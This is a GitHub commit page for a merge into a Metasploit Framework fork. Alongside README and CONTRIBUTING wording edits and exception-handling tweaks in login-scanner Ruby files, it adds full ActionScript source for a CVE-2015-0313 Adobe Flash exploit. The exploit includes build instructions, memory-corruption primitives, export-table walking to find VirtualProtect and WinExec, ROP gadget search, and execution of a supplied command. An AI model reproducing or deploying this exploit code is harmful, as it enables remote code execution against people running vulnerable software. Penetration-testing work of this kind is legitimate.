Skip to content

Commit 633b468

Browse files
committed
Merge branch 'upstream/master'
2 parents 97d7886 + 86d8aab commit 633b468

File tree

18 files changed

+667
-54
lines changed

18 files changed

+667
-54
lines changed

CONTRIBUTING.md

Lines changed: 13 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -4,8 +4,8 @@ Thanks for your interest in making Metasploit -- and therefore, the
44
world -- a better place!
55

66
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker].
7-
Please try to be as specific as you can about your problem, include steps
8-
to reproduce (cut and paste from your console output if it's helpful), and
7+
Please try to be as specific as you can about your problem; include steps
8+
to reproduce (cut and paste from your console output if it's helpful) and
99
what you were expecting to happen.
1010

1111
Are you about to report a security vulnerability in Metasploit itself?
@@ -18,7 +18,7 @@ Metasploit module? If so, read on...
1818

1919
# Contributing to Metasploit
2020

21-
What you see here in CONTRIBUTING.md is a bullet-point list of the do's
21+
What you see here in CONTRIBUTING.md is a bullet point list of the do's
2222
and don'ts of how to make sure *your* valuable contributions actually
2323
make it into Metasploit's master branch.
2424

@@ -27,7 +27,7 @@ closed. Sorry!
2727

2828
This is intended to be a **short** list. The [wiki] is much more
2929
exhaustive and reveals many mysteries. If you read nothing else, take a
30-
look at the standard [development environment setup] guide,
30+
look at the standard [development environment setup] guide
3131
and Metasploit's [Common Coding Mistakes].
3232

3333
## Code Contributions
@@ -52,7 +52,7 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
5252
#### New Modules
5353

5454
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up.
55-
- Even better would be to set up `msftidy.rb` as a [pre-commit hook].
55+
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
5656
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
5757
* **Don't** include more than one module per pull request.
5858

@@ -80,19 +80,19 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
8080
* **Do** report vulnerabilities in Rapid7 software directly to [email protected].
8181
* **Do** write a detailed description of your bug and use a descriptive title.
8282
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
83-
* **Don't** file duplicate reports - search for your bug before filing a new report.
83+
* **Don't** file duplicate reports; search for your bug before filing a new report.
8484

8585
If you need some more guidance, talk to the main body of open
86-
source contributors over on the [Freenode IRC channel]
87-
or e-mail us at [metasploit-hackers] mailing list.
86+
source contributors over on the [Freenode IRC channel],
87+
or e-mail us at the [metasploit-hackers] mailing list.
8888

8989
Also, **thank you** for taking the few moments to read this far! You're
9090
already way ahead of the curve, so keep it up!
9191

9292
[Issue Tracker]:http://r-7.co/MSF-BUGv1
9393
[PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D
9494
[wiki]:https://github.com/rapid7/metasploit-framework/wiki
95-
[scripts]: https://github.com/rapid7/metasploit-framework/tree/master/scripts
95+
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
9696
[development environment setup]:http://r-7.co/MSF-DEV
9797
[Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
9898
[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide
@@ -104,10 +104,10 @@ already way ahead of the curve, so keep it up!
104104
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
105105
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
106106
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
107-
[API]:https://rapid7.github.io/metasploit-framework/api/
108-
[RSpec]:http://rspec.info/
109-
[Better Specs]:http://betterspecs.org/
110-
[YARD]:http://yardoc.org/
107+
[API]:https://rapid7.github.io/metasploit-framework/api
108+
[RSpec]:http://rspec.info
109+
[Better Specs]:http://betterspecs.org
110+
[YARD]:http://yardoc.org
111111
[Issues]:https://github.com/rapid7/metasploit-framework/issues
112112
[Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
113113
[metasploit-hackers]:https://lists.sourceforge.net/lists/listinfo/metasploit-hackers

README.md

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@ Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.pn
33
The Metasploit Framework is released under a BSD-style license. See
44
COPYING for more details.
55

6-
The latest version of this software is available from https://metasploit.com/
6+
The latest version of this software is available from: https://metasploit.com
77

88
Bug tracking and development information can be found at:
99
https://github.com/rapid7/metasploit-framework
@@ -20,8 +20,8 @@ Questions and suggestions can be sent to:
2020
Installing
2121
--
2222

23-
Generally, you should use [the free installer](https://www.metasploit.com/download)
24-
which contains all dependencies and will get you up and running with a
23+
Generally, you should use [the free installer](https://www.metasploit.com/download),
24+
which contains all of the dependencies and will get you up and running with a
2525
few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if
2626
you'd like to deal with dependencies on your own.
2727

@@ -34,10 +34,10 @@ resources](https://metasploit.github.io), or the [wiki].
3434

3535
Contributing
3636
--
37-
See the [Dev Environment Setup][wiki-devenv] guide on GitHub which will
38-
walk you through the whole process starting from installing all the
37+
See the [Dev Environment Setup][wiki-devenv] guide on GitHub, which will
38+
walk you through the whole process from installing all the
3939
dependencies, to cloning the repository, and finally to submitting a
40-
pull request. For slightly more info, see
40+
pull request. For slightly more information, see
4141
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
4242

4343

data/exploits/CVE-2015-0313/msf.swf

17.5 KB
Binary file not shown.

external/source/exploits/CVE-2015-0311/Main.as

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
// 2. Be support to support 16.0 as target-player (flex-config.xml).
44
// 3. Download the Flex SDK (4.6)
55
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
6+
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
67
// 5. Build with: mxmlc -o msf.swf Main.as
78

89
// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
Lines changed: 207 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,207 @@
1+
// Build how to:
2+
// 1. Download the AIRSDK, and use its compiler.
3+
// 2. Be support to support 16.0 as target-player (flex-config.xml).
4+
// 3. Download the Flex SDK (4.6)
5+
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
6+
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
7+
// 5. Build with: mxmlc -o msf.swf Main.as
8+
9+
// Original code by @hdarwin89 // http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/
10+
// Modified to be used from msf
11+
package
12+
{
13+
import flash.display.Sprite
14+
import flash.display.LoaderInfo
15+
import flash.events.Event
16+
import flash.utils.ByteArray
17+
import flash.system.Worker
18+
import flash.system.WorkerDomain
19+
import flash.system.MessageChannel
20+
import flash.system.ApplicationDomain
21+
import avm2.intrinsics.memory.casi32
22+
import mx.utils.Base64Decoder
23+
24+
public class Main extends Sprite
25+
{
26+
private var ov:Vector.<Object> = new Vector.<Object>(25600)
27+
private var uv:Vector.<uint> = new Vector.<uint>
28+
private var ba:ByteArray = new ByteArray()
29+
private var worker:Worker
30+
private var mc:MessageChannel
31+
private var b64:Base64Decoder = new Base64Decoder()
32+
private var payload:String = ""
33+
34+
public function Main()
35+
{
36+
if (Worker.current.isPrimordial) mainThread()
37+
else workerThread()
38+
}
39+
40+
private function mainThread():void
41+
{
42+
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
43+
payload = b64.toByteArray().toString()
44+
45+
ba.length = 0x1000
46+
ba.shareable = true
47+
for (var i:uint = 0; i < ov.length; i++) {
48+
ov[i] = new Vector.<Object>(1014)
49+
ov[i][0] = ba
50+
ov[i][1] = this
51+
}
52+
for (i = 0; i < ov.length; i += 2) delete(ov[i])
53+
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
54+
mc = worker.createMessageChannel(Worker.current)
55+
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
56+
worker.setSharedProperty("mc", mc)
57+
worker.setSharedProperty("ba", ba)
58+
ApplicationDomain.currentDomain.domainMemory = ba
59+
worker.start()
60+
}
61+
62+
private function workerThread():void
63+
{
64+
var ba:ByteArray = Worker.current.getSharedProperty("ba")
65+
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
66+
ba.clear()
67+
ov[0] = new Vector.<uint>(1022)
68+
mc.send("")
69+
while (mc.messageAvailable);
70+
ov[0][0] = ov[0][0x403] - 0x18 - 0x1000
71+
ba.length = 0x500000
72+
var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + 0x100000
73+
var main:uint = ov[0][0x409] - 1
74+
var vtable:uint = vector_read(main)
75+
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8)
76+
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff)
77+
mc.send(ov[0][0].toString() + "/" + buffer.toString() + "/" + main.toString() + "/" + vtable.toString())
78+
}
79+
80+
private function onMessage(e:Event):void
81+
{
82+
casi32(0, 1022, 0xFFFFFFFF)
83+
if (ba.length != 0xffffffff) mc.receive()
84+
else {
85+
ba.endian = "littleEndian"
86+
var data:Array = (mc.receive() as String).split("/")
87+
byte_write(parseInt(data[0]))
88+
var buffer:uint = parseInt(data[1]) as uint
89+
var main:uint = parseInt(data[2]) as uint
90+
var vtable:uint = parseInt(data[3]) as uint
91+
var flash:uint = base(vtable)
92+
var ieshims:uint = module("winmm.dll", flash)
93+
var kernel32:uint = module("kernel32.dll", ieshims)
94+
95+
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
96+
var winexec:uint = procedure("WinExec", kernel32)
97+
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
98+
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
99+
100+
//CoE
101+
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
102+
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
103+
byte_write(0, "\x89\x03", false) // mov [ebx], eax
104+
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
105+
106+
byte_write(buffer+0x200, payload);
107+
byte_write(buffer + 0x20070, xchgeaxespret)
108+
byte_write(buffer + 0x20000, xchgeaxesiret)
109+
byte_write(0, virtualprotect)
110+
111+
// VirtualProtect
112+
byte_write(0, winexec)
113+
byte_write(0, buffer + 0x30000)
114+
byte_write(0, 0x1000)
115+
byte_write(0, 0x40)
116+
byte_write(0, buffer + 0x100)
117+
118+
// WinExec
119+
byte_write(0, buffer + 0x30000)
120+
byte_write(0, buffer + 0x200)
121+
byte_write(0)
122+
123+
byte_write(main, buffer + 0x20000)
124+
toString()
125+
}
126+
}
127+
128+
private function vector_write(addr:uint, value:uint = 0):void
129+
{
130+
addr > ov[0][0] ? ov[0][(addr - uv[0]) / 4 - 2] = value : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] = value
131+
}
132+
133+
private function vector_read(addr:uint):uint
134+
{
135+
return addr > ov[0][0] ? ov[0][(addr - ov[0][0]) / 4 - 2] : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1]
136+
}
137+
138+
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
139+
{
140+
if (addr) ba.position = addr
141+
if (value is String) {
142+
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
143+
if (zero) ba.writeByte(0)
144+
} else ba.writeUnsignedInt(value)
145+
}
146+
147+
private function byte_read(addr:uint, type:String = "dword"):uint
148+
{
149+
ba.position = addr
150+
switch(type) {
151+
case "dword":
152+
return ba.readUnsignedInt()
153+
case "word":
154+
return ba.readUnsignedShort()
155+
case "byte":
156+
return ba.readUnsignedByte()
157+
}
158+
return 0
159+
}
160+
161+
private function base(addr:uint):uint
162+
{
163+
addr &= 0xffff0000
164+
while (true) {
165+
if (byte_read(addr) == 0x00905a4d) return addr
166+
addr -= 0x10000
167+
}
168+
return 0
169+
}
170+
171+
private function module(name:String, addr:uint):uint
172+
{
173+
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
174+
while (true) {
175+
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
176+
if (!entry) throw new Error("FAIL!");
177+
ba.position = addr + entry
178+
if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
179+
}
180+
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
181+
}
182+
183+
private function procedure(name:String, addr:uint):uint
184+
{
185+
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
186+
var numberOfNames:uint = byte_read(eat + 0x18)
187+
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
188+
var addressOfNames:uint = addr + byte_read(eat + 0x20)
189+
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
190+
for (var i:uint = 0; ; i++) {
191+
var entry:uint = byte_read(addressOfNames + i * 4)
192+
ba.position = addr + entry
193+
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
194+
}
195+
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
196+
}
197+
198+
private function gadget(gadget:String, hint:uint, addr:uint):uint
199+
{
200+
var find:uint = 0
201+
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
202+
var value:uint = parseInt(gadget, 16)
203+
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
204+
return addr + i
205+
}
206+
}
207+
}

lib/metasploit/framework/login_scanner/chef_webui.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,7 @@ def attempt_login(credential)
2929
begin
3030
status = try_login(credential)
3131
result_opts.merge!(status)
32-
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
32+
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
3333
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
3434
end
3535

lib/metasploit/framework/login_scanner/gitlab.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -83,7 +83,7 @@ def attempt_login(credential)
8383
else
8484
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
8585
end
86-
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
86+
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
8787
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
8888
ensure
8989
cli.close

lib/metasploit/framework/login_scanner/glassfish.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -183,7 +183,7 @@ def attempt_login(credential)
183183
status = try_glassfish_3(credential)
184184
result_opts.merge!(status)
185185
end
186-
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
186+
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
187187
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
188188
end
189189

lib/metasploit/framework/login_scanner/http.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -231,7 +231,7 @@ def send_request(opts)
231231
cli.connect
232232
req = cli.request_cgi(opts)
233233
res = cli.send_recv(req)
234-
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
234+
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
235235
raise Rex::ConnectionError, e.message
236236
ensure
237237
cli.close

lib/metasploit/framework/login_scanner/jenkins.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,7 @@ def attempt_login(credential)
5050
else
5151
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
5252
end
53-
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
53+
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
5454
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
5555
end
5656
Result.new(result_opts)

0 commit comments

Comments
 (0)